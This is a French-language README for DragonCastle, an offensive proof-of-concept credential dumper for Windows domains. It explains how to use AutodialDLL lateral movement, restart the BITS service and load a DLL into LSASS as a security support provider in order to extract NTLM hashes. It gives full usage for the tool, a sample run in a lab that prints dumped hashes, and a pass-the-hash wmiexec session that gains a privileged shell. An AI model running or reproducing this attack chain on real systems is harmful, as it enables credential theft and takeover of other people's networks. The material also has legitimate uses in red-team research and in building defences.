
Un PoC qui combine la technique de mouvement latéral AutodialDLL et SSP pour extraire les hachages NTLM du processus LSASS.
Un PoC qui combine la technique de mouvement latéral AutodialDLL et SSP pour extraire les hachages NTLM du processus LSASS.
Télécharge une DLL sur la machine cible. Ensuite, elle active le registre distant pour modifier l'entrée AutodialDLL et démarrer/redémarrer le service BITS. Svchosts chargerait notre DLL, remettrait AutodialDLL à sa valeur par défaut et effectuerait une requête RPC pour forcer LSASS à charger la même DLL en tant que fournisseur de support de sécurité (SSP). Une fois la DLL chargée par LSASS, elle recherche dans la mémoire du processus pour extraire les hachages NTLM et la clé/IV.
La fonction DLLMain retourne toujours False afin que les processus ne la conservent pas.
Cela fonctionne uniquement lorsque RunAsPPL n'est pas activé. De plus, je n'ai ajouté le support du déchiffrement 3DES que par flemme, mais il devrait être facile d'ajouter du code pour AES. Pour la même raison, je n'ai implémenté le support que pour les versions Windows suivantes :
| Version | Support |
|---|---|
| Windows 10 version 21H2 | |
| Windows 10 version 21H1 | Implémenté |
| Windows 10 version 20H2 | Implémenté |
| Windows 10 version 20H1 (2004) | Implémenté |
| Windows 10 version 1909 | Implémenté |
| Windows 10 version 1903 | Implémenté |
| Windows 10 version 1809 | Implémenté |
| Windows 10 version 1803 | Implémenté |
| Windows 10 version 1709 | Implémenté |
| Windows 10 version 1703 | Implémenté |
| Windows 10 version 1607 | Implémenté |
| Windows 10 version 1511 | |
| Windows 10 version 1507 | |
| Windows 8 | |
| Windows 7 |
Les signatures/décalages/structures ont été extraits de Mimikatz. Si vous souhaitez ajouter une nouvelle version, vérifiez simplement la fonctionnalité sekurlsa dans Mimikatz.
psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -h
DragonCastle - @TheXC3LL
usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]
DragonCastle - A credential dumper (@TheXC3LL)
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
valid username
-p PASSWORD, --password PASSWORD
valid password (if omitted, it will be asked unless -no-pass)
-d DOMAIN, --domain DOMAIN
valid domain name
-hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash can be empty)
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
-local-dll dll to plant
DLL location (local) that will be planted on target
-remote-dll dll location
Path used to update AutodialDLL registry value
Serveur Windows sur 192.168.56.20 et contrôleur de domaine sur 192.168.56.10 :
psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll
DragonCastle - @TheXC3LL
[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:
============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
============
[+] Deleting DLL
[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|⇒ wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark
C:\>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
C:\>
Juan Manuel Fernández (@TheXC3LL)